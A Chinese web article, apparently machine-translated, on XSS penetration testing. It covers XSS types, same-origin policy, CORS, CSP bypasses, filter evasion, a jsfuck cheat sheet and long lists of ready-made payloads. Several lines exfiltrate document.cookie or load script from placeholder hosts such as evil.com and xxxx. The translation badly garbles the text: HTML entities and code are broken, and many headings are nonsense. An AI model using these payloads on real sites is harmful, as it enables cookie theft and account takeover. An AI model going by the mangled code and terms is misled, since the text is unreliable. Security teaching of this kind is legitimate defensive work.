hdmv

国庆假期结束,本节准备XSS跨站攻击渗透测试使用要点。最后一节讲述了SQL注入进攻的详细过程。很多朋友想咨询如何实现和利用跨站攻击,那么我们的渗透测试工程师就来

国庆假期结束,本节准备XSS跨站攻击渗透测试使用要点。最后一节讲述了SQL注入进攻的详细过程。很多朋友想咨询如何实现和利用跨站攻击,那么我们的渗透测试工程师就来详细告诉你如何实现这个XSS及其原理。

XSS被称为跨站ing,为了和CSS分开,缩写为XSS,中文名字叫跨站脚本。该漏洞发生在用户端,这意味着在呈现过程中会发生意外的Java代码执行。XSS通常用于获取Cookie并作为攻击者进行操作。

渗透测试XSS跨站攻击检测手法

3.2.1.1 .反光XSS

反射性XSS是一个普遍而广泛的范畴。例如,当网站的代码包含以下语句时:

3.2.1.2 .存储XSS

与反射式XSS相比,存储式XSS危害更大。在该漏洞中,攻击者可以将攻击负载存储到服务器的数据库中,从而导致持续攻击。

3.2.1.3 .多姆XSS

DOM XSS的区别在于,DOM XSS一般与服务器的解析响应没有直接关系,而是在Java脚本的动态执行过程中生成的。

例如

& lthtml & gt

& lthead & gt

& lttitle & gt基于DOM的XSS演示。/title & gt;

& lt& gt

函数xsstest()

{

var str = document.getElementById("input").value; document.getElementById("output").innerHTML = "<img src='"+str+"'></img>";var str = document . getelementbyid(" input ")。价值;document . getelementbyid(" output ")。innerHTML = " & ltimg src = ' "+str+" ' & gt;& lt/img >;

}

& lt/& gt;

& lt/head & gt;

& ltbody & gt

& ltdiv id = " output " & gt& lt/div & gt;

& ltinput type = " text " id = " input " size = 50 value = " "/& gt;

& ltinput type = " button " value = " submit " onclick = " xsstest()"/& gt;& lt/body & gt;

& lt/html & gt;

输入x' ='java:alert(/xss/)来触发。

3.2.1.4 .盲人XSS

盲XSS是一种存储XSS,它存储在某个存储器中,当一个“受害者”访问这个页面时执行,并在文档对象模型(DOM)中呈现有效载荷。之所以归类为盲,是因为它通常发生在通常不会暴露给用户的功能上。

3.2.2.同源策略

3.2.2.1 .介绍

渗透测试XSS跨站攻击检测手法

同源策略限制了不同源之间的交互方式,它是隔离潜在恶意文件的重要安全机制。同源性由URL决定,URL由协议、域名、端口和路径组成。如果两个URL的协议、域名、端口相同,说明是同源的。

3.2.2.1.1.文件域的同源策略

在以前的浏览器中,任何两个文件域的URIs都被认为是同源的。本地磁盘上的任何HTML文件都可以读取本地磁盘上的任何其他文件。

从Gecko 1.9开始,文件使用了更详细的同源策略。只有当源文件的父目录是目标文件的祖先目录时,一个文件才能读取另一个文件。

3.2.2.1.2.cookies的同源策略

Cookies可以用不同的方式定义。页面可以为此域和任何父域设置cookies,只要父域不是公共后缀。

无论使用哪种协议(HTTP/HTTPS)或端口号,浏览器都允许给定的域及其任何子域访问cookie。设置cookie时,可以使用domain/path/secure和http-only标记来限制它们的可访问性。

所以https://localhost:8080/和http://localhost:8081/的Cookie是共享的。

3.2.2.1.3.Flash/SilverLight跨域

浏览器的各种插件也有跨域需求。通常是通过在服务器上配置crossdomain.xml来设置该服务允许哪些域名跨域访问。

客户端将请求该文件。如果它在访问列表中找到自己的域名,它将发起一个真正的请求,否则它不会发送请求。

3.2.2.2 .来源的改变

同源策略认为域和子域属于不同的域,例如

1.a.com、a.com/1.a.com和2.a.com/。1.a.com和1.a.com有两个不同的来源。

在这种情况下,可以在两个方面设置document.damain='a.com '来改变其来源,实现上面任意两个页面之间的通信。

此外,因为浏览器单独存储端口号,所以这种赋值会导致端口号被重写为null。

3.2.2.3 .跨源访问

同源策略控制不同来源之间的相互作用,通常分为三类:

通常允许跨域写操作(Cross-origin writes)链接(links)重定向表单提交通常允许跨域资源嵌入(Cross-origin embedding)通常不允许跨域读操作(Cross-origin reads)

可以跨源嵌入的资源的一些例子是:

< src="..."></> 标签嵌入跨域脚本。语法错误信息只能在同源脚本中捕捉到。<link rel="stylesheet" href="..."> 标签嵌入CSS。由于CSS的松散的语法规则,CSS的跨域需要一个设置正确的Content-Type 消息头。<img> / <video> / <audio> 嵌入多媒体资源。<object> <embed> 和 <applet> 的插件。@font-face 引入的字体。一些浏览器允许跨域字体( cross-origin fonts),一些需要同源字体(same-origin fonts)。<frame> 和 <iframe> 载入的任何资源。站点可以使用X-Frame-Options消息头来阻止这种形式的跨域交互。

3.2.2.3.1.JSONP跨域

JSONP是使用

服务器收到请求后,动态生成脚本生成数据,并将生成的数据作为代码中的参数调用回调函数。

3.2.2.3.2.跨源代码脚本API访问

在Java APIs中,如iframe.contentwindow、window.parent、window.open和window.opener,文档可以相互引用。当两个文档的来源不同时,这些引用将限制对窗口和位置对象的访问。

窗口允许通过以下方式进行跨源访问

window.blurwindow.closewindow.focuswindow.postMessage

允许跨源访问的窗口属性有

window.closedwindow.frameswindow.lengthwindow.locationwindow.openerwindow.parentwindow.selfwindow.topwindow.window

window.location允许读/写,其他属性只允许读。

3.2.2.3.3.跨源数据存储访问

存储在浏览器中的数据(如localStorage和IndexedDB)是按源划分的。每个源都有自己独立的存储室空,一个源中的Java脚本无法读写属于其他源的数据。

3.2.2.4 .克-奥二氏分级量表

CORS是W3C标准,全称是“跨源资源共享”。这个标准允许浏览器读取跨域资源。

3.2.2.4.1.普通回程头

Access-Control-Allow-Origin声明允许的源Access-Control-Allow-Origin: <origin> | *Access-Control-Expose-Headers声明允许暴露的头 e.g. Access-Control-Expose-Headers: X-My-Custom-Header,X-Another-Custom-HeaderAccess-Control-Max-Age声明Cache时间Access-Control-Max-Age: <delta-seconds>Access-Control-Allow-Credentials声明是否允许在请求中带入Access-Control-Allow-Credentials: trueAccess-Control-Allow-Methods声明允许的访问方式Access-Control-Allow-Methods: <method>[, <method>]*Access-Control-Allow-Headers声明允许的头Access-Control-Allow-Headers: <field-name>[, <field-name>]*

3.2.2.4.2.公共请求标题

Origin指定请求的源Origin: <origin>Access-Control-Request-Method声明请求使用的方法Access-Control-Request-Method: <method>Access-Control-Request-Headers声明请求使用的headerAccess-Control-Request-Headers: <field-name>[, <field-name>]*

3.2.2.4.3.防御建议

渗透测试XSS跨站攻击检测手法

除非必要,否则不要打开CORS

定义详细的白名单,不使用通配符,仅配置所需要的头配置 Vary: Origin 头部如非必要不使用 Access-Control-Allow-Credentials限制缓存的时间

3.2.2.5 .阻止跨源访问

为了防止跨域写操作,您可以检测请求中的CSRF令牌,它被称为跨站点请求伪造(CSRF)令牌。

防止跨站点读取资源,因为嵌入资源通常会暴露信息,需要保证资源不可嵌入。然而,在大多数情况下,浏览器不会遵循内容类型头。例如,如果您指定< & gt标签,浏览器将尝试把HTML解析成Java。

3.2.3.芯片尺寸封装

什么是3.2.3.1。CSP?

安全策略,简称CSP。顾名思义,该规范与内容安全相关,主要用于定义一个页面可以加载哪些资源,减少XSS的发生。

3.2.3.2 .配置

CSP策略可以由HTTP头信息或元元素定义。

CSP有三种类型:

Content-Security-Policy (Google Chrome)X-Content-Security-Policy (Firefox)X-WebKit-CSP (WebKit-based browsers, e.g. Safari)

HTTP标头:

“内容-安全-策略:”策略

“内容-安全-策略-仅报告:”策略

http-security-policy头可以指定一个或多个资源是安全的,而content-security-policy-report-只允许服务器检查(而不是实施)策略。多个标头的策略定义首先按优先级定义。

HTML元:

& ltmeta-equiv = " content-security-policy " content = " policy " >:

& ltMeta-equiv = "内容-安全-策略-仅报告"内容= "策略" >:

3.2.3.2.1.说明

3.2.3.2.2.关键词

-允许从任意url加载,除了 data: blob: filesystem: schemese.g. img-src -none禁止从任何url加载资源e.g. object-src 'none'self只可以加载同源资源e.g. img-src 'self'data:可以通过data协议加载资源e.g. img-src 'self' data:domain.example.come.g. img-src domain.example.com只可以从特定的域加载资源\*.example.come.g. img-src \*.example.com可以从任意域名.com的子域处加载资源https://cdn.come.g. img-src https://域名.com只能从给定的域用https加载资源https:e.g. img-src https:只能从任意域用https加载资源unsafe-inline允许内部资源执行代码例如style attribute,onclick或者是sicript标签e.g. -src 'unsafe-inline'unsafe-eval允许一些不安全的代码执行方式,例如js的eval()e.g. -src 'unsafe-eval'nonce-<-value>'使用随机的nonce,允许加载标签上nonce属性匹配的标签e.g. -src 'nonce-bm9uY2U='<hash-algo>-<-value>'允许hash值匹配的代码块被执行e.g. -src 'sha256-<-value>'

3.2.3.2.3.配置示例

允许执行内联JS代码,但不允许加载外部资源。

content-Security-Policy:default-src ' self ';-src ' self ' ' unsafe-inline ';

3.2.3.3 .忽视

3.2.3.3.1.预加载

为了提升用户体验,让浏览器更高效,浏览器有预加载功能,一般利用浏览器空空闲时间加载指定内容,然后缓存。这项技术被细分为DNS预取、子资源、预取、预连接和预呈现。

5 HTML5页面预加载由link标签的rel属性指定。例如,如果csp头有unsafe-inline,它可以通过预加载向外界发出请求

& lt!-预加载页面->:

& ltlink rel = ' prefetch ' href = ' http://xxxx ' & gt。& lt!-Firefox-& gt;

& ltlink rel = ' prerender ' href = ' http://xxxx ' & gt;& lt!-chrome->;

& lt!-预加载图片->:

& ltlink rel = ' prefetch ' href = ' http://xxxx/x . jpg ' & gt;

& lt!- DNS预解析-->:

& ltlink rel = " DNS-prefetch " href = " http://xxxx " & gt;

& lt!-特定文件类型预加载->:

& ltlink rel = ' preload ' href = '//xxxxx/xx . js ' & gt;& lt!-chrome->;

此外,并非所有页面都可以预加载。当资源类型如下时,预加载操作将被阻止:

URL中包含下载资源页面中包含音频、视频POST、PUT和DELET操作的ajax请求HTTP认证HTTPS页面含恶意软件的页面弹窗页面占用资源很多的页面打开了chrome developer tools开发工具

3.2.3.3.2.哑剧嗅嗅

举例来说,csp禁止跨站读取脚本,但是可以跨站读img,那么传一个含有脚本的img,再“< href=’http://xxx.com/xx.jpg’>“,这里csp认为是一个img,绕过了检查,如果网站没有回正确的mime type,浏览器会进行猜测,就可能加载该img作为脚本比如csp禁止跨站读取脚本,但是可以读取img,那么发送一个包含脚本的img,然后“< href = ' http://xxx.com/xx.jpg'>”,这里csp认为是img,绕过检查。如果网站没有返回正确的mime类型,浏览器将进行猜测,并且有可能将img作为脚本加载。

3.2.3.3.3.302跳

对于绕过CSP的302跳转,实际上有以下限制:

跳板必须在允许的域内。要加载的文件的host部分必须跟允许的域的host部分一致

3.2.3.3.4.内联框架

当代码可以执行时,可以创建一个框架,其源是css js之类的静态文件。当配置不正确时,该帧中没有csp,可以在该帧下重新创建帧,达到绕过的目的。类似地,使用链接,如../../../%2e% 2e% 2f可能触发服务器报错也能达到相应的目的。

3.2.3.3.5.其他人

CND Bypass,如果网站信任了某个CDN, 那么可利用相应的CDN bypassAngular versions <1.5.9 >=1.5.0,存在漏洞 Git Pull RequestjQuery sourcemapdocument.write(`<> //@ sourceMappingURL=http://xxxx/`+document.cookie+`<\/>`);``a标签的ping属性For FireFox <META HTTP-EQUIV="refresh" CONTENT="0; url=data:text/html;,PHNjcmlwdD5hbGVydCgnSWhhdmVZb3VOb3cnKTs8L3NjcmlwdD4="><link rel="import" /><meta http-equiv="refresh" content="0; url=http://...." />当-src为nonce或无限制,且base-uri无限制时,可通过 base 标签修改根URL来bypass,如下加载了http://evil.com/main.js<base href="http://evil.com/">< nonce="correct value" src="/main.js"></>

3.2.4.XSS数据源

3.2.4.1 .统一资源定位器

locationlocation.hreflocation.pathnamelocation.searchlocation.hashdocument.URLdocument.documentURIdocument.baseURI

3.2.4.2 .航行

window.namedocument.referrer

3.2.4.3 .沟通

AjaxFetchWebSocketPostMessage

3.2.4.4 .仓库

CookieLocalStorageSessionStorage

3.2.5.水槽

3.2.5.1 .执行Js

eval(payload)setTimeout(payload, 100)setInterval(payload, 100)Function(payload)()<>payload</><img src=x =payload>

3.2.5.2 .加载URL

location=java:alert(/xss/)location.href=java:alert(/xss/)location.assign(java:alert(/xss/))location.replace(java:alert(/xss/))

3.2.5.3 .执行HTML

xx.innerHTML=payloadxx.outerHTML=payloaddocument.write(payload)document.writeln(payload)

3.2.6.XSS保护

html过滤

利用一些白名单或黑名单来过滤用户输入的HTML,以达到过滤的效果。像DOMPurify这样的工具已经以这种方式实现了XSS保护。

3.2.6.2 .交叉形架

X-Frame-Options响应头有三个可选值:

DENY页面不能被嵌入到任何iframe或frame中SAMEORIGIN页面只能被本站页面嵌入到iframe或者frame中ALLOW-FROM页面允许frame或frame加载

3.2.6.3 .XSS保护头

基于Webkit内核的浏览器(比如Chrome)有一个保护机制,叫做XSS审计器。如果浏览器检测到包含恶意代码的输入出现在HTML文档中,则出现的恶意代码将被删除或转义,并且恶意代码将无法正常呈现。

浏览器是否会拦截此恶意代码取决于浏览器的XSS保护设置。

要设置浏览器的保护机制,您可以使用X-XSS保护字段,该字段有三个可选值。

0:表示浏览器的XSS保护机制关闭。

1:删除检测到的恶意代码。如果在响应消息中没有看到X-XSS保护字段,浏览器将认为X-XSS保护配置为1,这是浏览器的默认设置。

1;Mode=block:如果检测到恶意代码,将不会呈现恶意代码。

火狐没有相关的保护机制。如果需要防护,可以使用NO等相关插件。

3.2.7.晶片旁路

利用<>标记利用html属性hreflowsrcbgsoundbackgroundvalueactiondynsrc关键字利用回车拆分字符串拼接(window["al" + "ert"])利用编码绕过jsfuckString.fromCharCodeHTMLURLhex(window["\x61\x6c\x65\x72\x74"])unicodeutf7(+ADw-+AD4-alert('XSS')+ADsAPA-/+AD4-)utf16大小写混淆对标签属性值转码产生事件css跨站解析长度限制bypasseval(name)eval(hash)import$.get$.get.使用 。绕过IP/域名document['cookie'] 绕过属性取值过滤引号用 “ ` “ 绕过

3.2.8.1 .CSS注入

CSS注入最早开始是利用CSS中的expression() url() regex()等函数或特性引入外部恶意代码。但随着浏览器的发展,这种方式逐渐被禁用。与此同时,一些新的攻击方式出现了。

3.2.8.1.2.CSS选择器

利用CSS选择器完成攻击的一个例子

3.2.8.1.3.滥用Unicode范围

当您可以插入CSS时,您可以使用带有unicode-range的font-face来获取目标网页的相应字符集。概念验证如下

渗透测试XSS跨站攻击检测手法

当字符较多时,可以通过结合::first-line等CSS属性缩小范围,获得更准确的内容。

3.2.8.2 .通过小工具绕过

3.2.8.2.1.介绍

渗透测试XSS跨站攻击检测手法

有些网站会使用白名单或者一些基于DOM的防御方法。对于这些方法,有一种攻击方法叫做代码重用,可以绕过。这种方法类似于二进制攻防中的Gadget,利用目标中的合法代码来达到绕过防御措施的目的。该方法在论文《web的代码重用攻击:通过小工具破坏跨站点缓解》中有所描述。

这里有一个简单的例子。这个例子使用DOMPurify来加强它,但是由于jquery.mobile.js的引入,它可能会受到攻击

3.2.8.2.2.例子

//index.php

& lt?服务器端编程语言(Professional Hypertext Preprocessor的缩写)

$ msg = $ _ GET[' message '];

$msg = str_replace("\n ","",

$ msg);$ msg = _ encode($ msg);

?& gt

& lt!DOCTYPE html & gt

& lthtml lang = " en " & gt

& lthead & gt

& ltmeta charset="UTF-8 " >

& lttitle & gt预览& lt/title & gt;

& lttype = " text/Java " src = " purify . js " & gt;& lt/& gt;

& lttype = " text/Java " src = " jquery . js " & gt;& lt/& gt;

& lttype = " text/Java " src = " jquery . mobile . js " & gt;& lt/& gt;

& lt/head & gt;

& ltbody & gt

& lttype="text/java " >

var d = atob(' & lt;?php echo $ msg?& gt');

var clean var = DOM purify . sanitize(d);

document . write(clean var);

& lt/& gt;

& lt/body & gt;

& lt/html & gt;

//播放负载

& ltdiv data-role = popup id = '-& gt;

& lt& gt警报(1)& lt;/& gt;& gt

& lt/div & gt;

3.2.8.3 .jsfuck备忘单

3.2.8.3.1.基本价值观

undefined > [][[]]false > ![]true > !![]NaN > +[![]]0 > +[]1 > +!+[]2 > !+[]+!+[]

3.2.8.3.2.基本字符串

'' > []+[]'undefined' > []+[][[]]'false' > []+![]'true' > []+!![]'NaN' > []+(+[![]])'0' > []+(+[])'1' > []+(+!+[])'2' > []+(!+[]+!+[])'10' > [+!+[]]+[+[]]'11' > [+!+[]]+[+!+[]]'100' > [+!+[]]+[+[]]+(+[])

3.2.8.3.3.更高的数字

10 > +([+!+[]]+[+[]])11 > +([+!+[]]+[+!+[]])100 > +([+!+[]]+[+[]]+(+[]))

3.2.8.3.4.字符串字母表

'a' > ([]+![])[+!+[]]'d' > ([]+[][[]])[+!+[]+!+[]]'e' > ([]+!+[])[+!+[]+!+[]+!+[]]'f' > ([]+![])[+[]]'i' > ([]+[][[]])[+!+[]+!+[]+!+[]+!+[]+!+[]]'l' > ([]+![])[+!+[]+!+[]]'n' > ([]+[][[]])[+!+[]]'r' > ([]+!+[])[+!+[]]'s' > ([]+![])[+!+[]+!+[]+!+[]]'t' > ([]+!+[])[+[]]'u' > ([]+!+[])[+!+[]+!+[]]

3.2.8.4 .RPO(相对路径覆盖)

RPO(相对路径覆盖)攻击又称相对路径覆盖攻击,依赖于浏览器和web服务器的反应,利用Web缓存技术和服务器配置的差异。

3.2.9.有效载荷

3.2.9.1 .常用的

<>alert(/xss/)</><svg =alert(document.domain)><img src=document.domain =alert(document.domain)><M onmouseover=alert(document.domain)>M<marquee onscroll=alert(document.domain)><a href=java:alert(document.domain)>M</a><body =alert(document.domain)><details open ontoggle=alert(document.domain)><embed src=java:alert(document.domain)>

3.2.9.2 .病例旁路

<>alert(1)</><>alert(1)</><>alert(1)</><>alert(1)</><>alert(1)</><img src=1 =alert(1)><iMg src=1 =alert(1)><ImG src=1 =alert(1)><img src=1 ="alert("M")"><marquee onscroll=alert(1)><mArQuEe OnScRoLl=alert(1)><MaRqUeE oNsCrOlL=alert(1)>

3.2.9.3 .各种警报

<>alert(1)</><>confirm(1)</><>prompt(1)</><>alert('1')</><>alert("1")</><>alert`1`</><>(alert)(1)</><>a=alert,a(1)</><>[1].find(alert)</><>top["al"+"ert"](1)</><>top["a"+"l"+"e"+"r"+"t"](1)</><>top[/al/.source+/ert/.source](1)</><>top[/a/.source+/l/.source+/e/.source+/r/.source+/t/.source](1)</>

3.2.9.4 .伪协议

<a href=java:/0/,alert(%22M%22)>M</a><a href=java:/00/,alert(%22M%22)>M</a><a href=java:/000/,alert(%22M%22)>M</a><a href=java:/M/,alert(%22M%22)>M</a>

3.2.9.5 .Chrome XSS审计员旁路

?param=https://&param=@z.exeye.io/import%20rel=import%3E<base href=java:/M/><a href=,alert(1)>M</a><base href=java:/M/><iframe src=,alert(1)></iframe>

3.2.9.6 .长度限制

& lt& gts+= " l " & lt;/& gt;

\...

& lt& gteval & lt;/& gt;

3.2.9.7 .jquery sourceMappingURL

& lt/textarea & gt;& lt& gt定义变量

a = 1//@ sourceMappingURL =//XSS . site & lt;/& gt;

3.2.9.8 .图片名称

"><img src=x =alert(document.cookie)>.gif" & gt& ltimg src = x = alert(document . cookie)& gt;。可交换的图像格式

3.2.9.9 .过期有效负载

src=java:alert基本不可以用css expression特性只在旧版本ie可用

3.2.9.10 .钢性铸铁

& ltdiv style = " background-image:URL(Java:alert(/XSS/))" & gt;

& ltSTYLE & gt@ import ' domain name/XSS . CSS ';& lt/STYLE & gt;

3.2.9.11 .减价

[a](java:prompt(document.cookie))[a](j a v a s c r i p t:prompt(document.cookie)) <javascript:alert('XSS')>![a'"`=prompt(document.cookie)](x)[notmalicious](java:window.=alert;throw%20document.cookie)[a](data:text/html;,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)![a](data:text/html;,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)

3.2.9.12 .内联框架

& ltiframe = '

var sc =文档。(“SCR”+“ipt”);

sc . type = " text/javascr "+" ipt ";

Sc.src = "域名/js/hook . js ";document . body .(sc);

'

/& gt;

<iframe src=java:alert(1)></iframe><iframe src="data:text/html,<iframe src=java:alert('M')></iframe>"></iframe><iframe src=data:text/html;,PGlmcmFtZSBzcmM9amF2YXNjcmlwdDphbGVydCgiTWFubml4Iik+PC9pZnJhbWU+></iframe><iframe srcdoc=<svg/onload&equals;alert&lpar;1)>></iframe><iframe src=https://baidu.com width=1366 height=768></iframe><iframe src=java:alert(1) width=1366 height=768></iframe

3.2.9.13 .形式

<form action=java:alert(1)><input type=submit><form><button formaction=java:alert(1)>M<form><input formaction=java:alert(1) type=submit value=M><form><input formaction=java:alert(1) type=image value=M><form><input formaction=java:alert(1) type=image src=1>

3.2.9.14 .自指的

& ltMETA HTTP-EQUIV = " Link " Content = " & lt;域名/XSS . CSS >:;REL =样式表" & gt

3.2.10.持续时间

3.2.10.1 .基于存储

有时候网站会将信息存储在cookies或者localStorage中,而由于这些数据一般都是网站主动存储的,所以很多时候,从cookies或者localStorage中取出的数据并没有经过过滤,会直接取出来显示在页面上。即使存储JSON格式的数据,有些网站也有eval(data)之类的调用。因此,当存在XSS时,可以将有效载荷写入其中,并在相应的条件下触发它。

在某些情况下,这种利用可能会由于某些特殊字符而导致问题,使用String.fromCharCode可以绕过这些问题

3.2.10.2 .服务行业人员

服务工作者可以拦截http请求并充当本地代理。因此,可以利用Service Worker Hook返回请求中的攻击代码,从而达到持续攻击的目的。

在Chrome中,你可以通过Chrome://inspect/# Service-workers检查服务工作者的状态,并阻止他们。

3.2.10.3 .应用缓存

在可控的网络环境(公共wifi)下,可以使用AppCache机制强制存储部分有效载荷。如果它们没有被清除,当用户访问该站点时,相应的有效负载将一直存在。这一节就讲了这么多渗透测试中XSS跨站攻击的检测方法。如果你对此有需求,可以联系专业的网站安全公司进行处理,防患于未然。

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。

作者:美站资讯,如若转载,请注明出处:https://www.meizw.com/n/154337.html

发表回复

登录后才能评论